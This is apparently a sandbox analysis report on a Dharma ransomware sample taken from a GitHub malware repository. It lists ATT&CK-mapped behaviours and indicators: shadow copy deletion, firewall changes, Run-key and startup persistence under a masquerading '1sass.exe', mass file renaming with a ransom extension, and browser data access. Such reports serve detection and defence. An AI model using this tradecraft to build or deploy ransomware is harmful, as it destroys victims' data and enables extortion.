dharma | hxxps://github[.]com/Da2dalus/The-MALWARE-Repo/blob/master/Ransomware/7ev3n[.]exe

Resubmissions

07-05-2024 16:28

240507-tyx6ssha59 10

07-05-2024 16:24

240507-twmx2sed5t 10

Analysis

max time kernel
1799s
max time network
1596s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
07-05-2024 16:28

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://github.com/Da2dalus/The-MALWARE-Repo/blob/master/Ransomware/7ev3n.exe

Score

10^/10

dharma defense_evasion discovery evasion execution impact persistence ransomware spyware stealer

Malware Config

Signatures

Dharma
Dharma is a ransomware that uses security software installation to hide malicious activities.
ransomware dharma
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Renames multiple (445) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Downloads MZ/PE file
Modifies Windows Firewall 2 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exe

pid process

3148 netsh.exe
Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

5060 attrib.exe

pid	process
3148	netsh.exe

pid	process
5060	attrib.exe

Sets service image path in registry 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

mssql.exemssql.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mssqlaq\ImagePath = "\\??\\C:\\Users\\Admin\\Downloads\\ac\\mssqlaq.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mssql\ImagePath = "\\??\\C:\\Users\\Admin\\Downloads\\ac\\mssql.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\cxeuxtqwwgbaoj\ImagePath = "\\??\\C:\\Users\\Admin\\Downloads\\ac\\cxeuxtqwwgbaoj.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mssqlaq\ImagePath = "\\??\\C:\\Users\\Admin\\Downloads\\ac\\mssqlaq.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mssql\ImagePath = "\\??\\C:\\Users\\Admin\\Downloads\\ac\\mssql.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\nkhllqhibqyrujmis\ImagePath = "\\??\\C:\\Users\\Admin\\Downloads\\ac\\nkhllqhibqyrujmis.sys"	mssql.exe

Drops startup file 5 IoCs

Processes:

1sass.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1sass.exe	1sass.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini	1sass.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Info.hta	1sass.exe

Executes dropped EXE 15 IoCs

Processes:

Dharma.exenc123.exemssql.exemssql2.exeSearchHost.exeDharma.exeDharma.exenc123.exeunlocker.exeunlocker.tmpTaskHelper.exemssql.exeSearchHost.exeIObitUnlocker.exe1sass.exe

pid	process
1968	Dharma.exe
3828	nc123.exe
2660	mssql.exe
1200	mssql2.exe
2260	SearchHost.exe
1456	Dharma.exe
924	Dharma.exe
3788	nc123.exe
1456	unlocker.exe
3840	unlocker.tmp
1976	TaskHelper.exe
4508	mssql.exe
2184	SearchHost.exe
5092	IObitUnlocker.exe
5040	1sass.exe

Loads dropped DLL 5 IoCs

Processes:

unlocker.tmpTaskHelper.exeregsvr32.exeregsvr32.exeIObitUnlocker.exe

pid process

3840 unlocker.tmp
1976 TaskHelper.exe
5068 regsvr32.exe
3392 regsvr32.exe
5092 IObitUnlocker.exe

pid	process
3840	unlocker.tmp
1976	TaskHelper.exe
5068	regsvr32.exe
3392	regsvr32.exe
5092	IObitUnlocker.exe

Modifies system executable filetype association 2 TTPs 2 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1546.001

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\UnLockerMenu	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\UnLockerMenu\ = "{410BF280-86EF-4E0F-8279-EC5848546AD3}"	regsvr32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Registers COM server for autorun 1 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{410BF280-86EF-4E0F-8279-EC5848546AD3}\InprocServer32	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{410BF280-86EF-4E0F-8279-EC5848546AD3}\InprocServer32\ = "C:\\Program Files (x86)\\IObit\\IObit Unlocker\\IObitUnlockerExtension.dll"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{410BF280-86EF-4E0F-8279-EC5848546AD3}\InprocServer32\ThreadingModel = "Apartment"	regsvr32.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

1sass.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\1sass.exe = "C:\\Windows\\System32\\1sass.exe"	1sass.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\C:\Windows\System32\Info.hta = "mshta.exe \"C:\\Windows\\System32\\Info.hta\""	1sass.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\C:\Users\Admin\AppData\Roaming\Info.hta = "mshta.exe \"C:\\Users\\Admin\\AppData\\Roaming\\Info.hta\""	1sass.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops desktop.ini file(s) 64 IoCs

Processes:

1sass.exe

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\Saved Games\desktop.ini	1sass.exe
File opened for modification	C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group3\desktop.ini	1sass.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	1sass.exe
File opened for modification	C:\Program Files (x86)\Common Files\Microsoft Shared\Stationery\Desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\OneDrive\desktop.ini	1sass.exe
File opened for modification	C:\$Recycle.Bin\S-1-5-21-3699363923-1875576828-3287151903-1000\desktop.ini	1sass.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\Links\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	1sass.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\SendTo\Desktop.ini	1sass.exe
File opened for modification	C:\Program Files (x86)\desktop.ini	1sass.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu Places\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn\Burn\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\History\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	1sass.exe
File opened for modification	C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group2\desktop.ini	1sass.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	1sass.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\Stationery\Desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\Searches\desktop.ini	1sass.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\Desktop.ini	1sass.exe
File opened for modification	C:\Users\Public\Downloads\desktop.ini	1sass.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	1sass.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini	1sass.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\Desktop.ini	1sass.exe
File opened for modification	C:\Users\Public\Libraries\desktop.ini	1sass.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn\Burn1\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn\Burn2\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group3\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\Pictures\Camera Roll\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\Pictures\Saved Pictures\desktop.ini	1sass.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	1sass.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	1sass.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini	1sass.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini	1sass.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\desktop.ini	1sass.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility\Desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	1sass.exe
File opened for modification	C:\Program Files\desktop.ini	1sass.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	1sass.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group1\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	1sass.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini	1sass.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AccountPictures\desktop.ini	1sass.exe
File opened for modification	C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group1\desktop.ini	1sass.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	1sass.exe
File opened for modification	C:\Users\Public\AccountPictures\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Application Shortcuts\desktop.ini	1sass.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	1sass.exe

Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Processes:

SearchHost.exenc123.exe

description ioc process

File opened (read-only) \??\D: SearchHost.exe
File opened (read-only) \??\A: nc123.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

139 raw.githubusercontent.com
140 raw.githubusercontent.com
Drops file in System32 directory 2 IoCs

Processes:

1sass.exe

description ioc process

File created C:\Windows\System32\1sass.exe 1sass.exe
File created C:\Windows\System32\Info.hta 1sass.exe

description	ioc	process
File opened (read-only)	\??\D:	SearchHost.exe
File opened (read-only)	\??\A:	nc123.exe

flow	ioc
139	raw.githubusercontent.com
140	raw.githubusercontent.com

description	ioc	process
File created	C:\Windows\System32\1sass.exe	1sass.exe
File created	C:\Windows\System32\Info.hta	1sass.exe

Drops file in Program Files directory 64 IoCs

Processes:

1sass.exe

description	ioc	process
File created	C:\Program Files\Microsoft Office\root\Office16\Bibliography\Author2String.XSL.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-white\MapsAppList.targetsize-256_altform-unplated_contrast-white.png	1sass.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\hr-hr\ui-strings.js.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe\AppxSignature.p7x	1sass.exe
File opened for modification	C:\Program Files (x86)\Common Files\Microsoft Shared\VSTA\Pipeline.v10.0\AddInSideAdapters\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll	1sass.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jsadebugd.exe.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\AppPackageSmallTile.scale-125_contrast-black.png	1sass.exe
File created	C:\Program Files\Microsoft Office\root\Licenses16\O365ProPlusR_Subscription4-ul-oob.xrm-ms.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\illustrations_retina.png.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File opened for modification	C:\Program Files (x86)\Common Files\System\Ole DB\es-ES\oledb32r.dll.mui	1sass.exe
File opened for modification	C:\Program Files (x86)\Mozilla Maintenance Service\Uninstall.exe.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\vcruntime140_1.dll	1sass.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ui-strings.js.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\api-ms-win-crt-string-l1-1-0.dll	1sass.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sv-se\ui-strings.js.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\api-ms-win-crt-stdio-l1-1-0.dll.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\Common.DBConnection.exe	1sass.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Icons\tripeaks_icon.png	1sass.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-black\PeopleSplashScreen.scale-100.png	1sass.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\SpeechToTextOverlay.winmd	1sass.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\unicode.md.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\OneNoteSectionLargeTile.scale-125.png	1sass.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\VisioStd2019VL_MAK_AE-ul-oob.xrm-ms	1sass.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\msvcp120.dll.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Themes\Aquarium\mask\mask_corners.png	1sass.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-200_8wekyb3d8bbwe\Assets\contrast-black\WideLogo.scale-200_contrast-black.png	1sass.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\en-gb\ui-strings.js.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\pt-br\PlayStore_icon.svg.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\STUDIO\STUDIO.INF.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\Assets\contrast-white\PeopleLargeTile.scale-200.png	1sass.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL020.XML.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File created	C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessR_Retail-ul-phn.xrm-ms.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\O365BusinessR_Subscription-ul-oob.xrm-ms.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\Assets\PhotosLogoExtensions.targetsize-336.png	1sass.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\MSO.ACL.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\line.cur.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File opened for modification	C:\Program Files\7-Zip\7-zip.chm.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\fa.pak	1sass.exe
File opened for modification	C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.ms-my.dll.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019R_Retail-ul-oob.xrm-ms.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File created	C:\Program Files\Microsoft Office\root\Office16\1033\WacLangPack2019Eula.txt.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File opened for modification	C:\Program Files\Microsoft Office\root\rsod\office.x-none.msi.16.x-none.tree.dat.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\pl-pl\ui-strings.js	1sass.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\QUAD\QUAD.ELM	1sass.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\_Resources\10.rsrc	1sass.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\Stationery\Orange Circles.htm	1sass.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\sr.pak	1sass.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\officeinventoryagentlogon.xml	1sass.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\pt-br\ui-strings.js	1sass.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\Stationery\Bears.jpg	1sass.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\StoreAppList.targetsize-30.png	1sass.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AlarmsWideTile.contrast-white_scale-100.png	1sass.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\Assets\AchievementUnlocked.mp3	1sass.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\zh-tw\ui-strings.js	1sass.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\vlc.mo.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File opened for modification	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\it\Microsoft.Build.Utilities.v3.5.resources.dll	1sass.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Arkadium.Win10.StarClub\Assets\star-rotating-57x54.png	1sass.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\keypad.xml	1sass.exe
File created	C:\Program Files\Java\jdk-1.8\legal\jdk\asm.md.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Document Themes 16\Slice.thmx	1sass.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.scale-80.png.id-A312EE8A.[[email protected]].ROGER	1sass.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\1250_40x40x32.png	1sass.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectProVL_KMS_Client-ul-oob.xrm-ms	1sass.exe

Drops file in Windows directory 7 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdgeCP.exe

Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exe

pid process

1980 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
1980	sc.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Interacts with shadow copies 2 TTPs 4 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid process

1744 vssadmin.exe
1388 vssadmin.exe
7320 vssadmin.exe
2696 vssadmin.exe

pid	process
1744	vssadmin.exe
1388	vssadmin.exe
7320	vssadmin.exe
2696	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

Processes:

MicrosoftEdgeCP.exebrowser_broker.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

chrome.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133595734331037790"	chrome.exe

Modifies registry class 64 IoCs

Processes:

MicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeregsvr32.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\AdapterInfo = "vendorId=\"0x1414\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.15063.0\"hypervisor=\"No Hypervisor (No SLAT)\""	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 03d74cd69ca0da01	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\EdpDomStorage\www.bing.com\ = "0"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\Total\ = "701"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AppID\PfShellExtension.DLL	regsvr32.exe
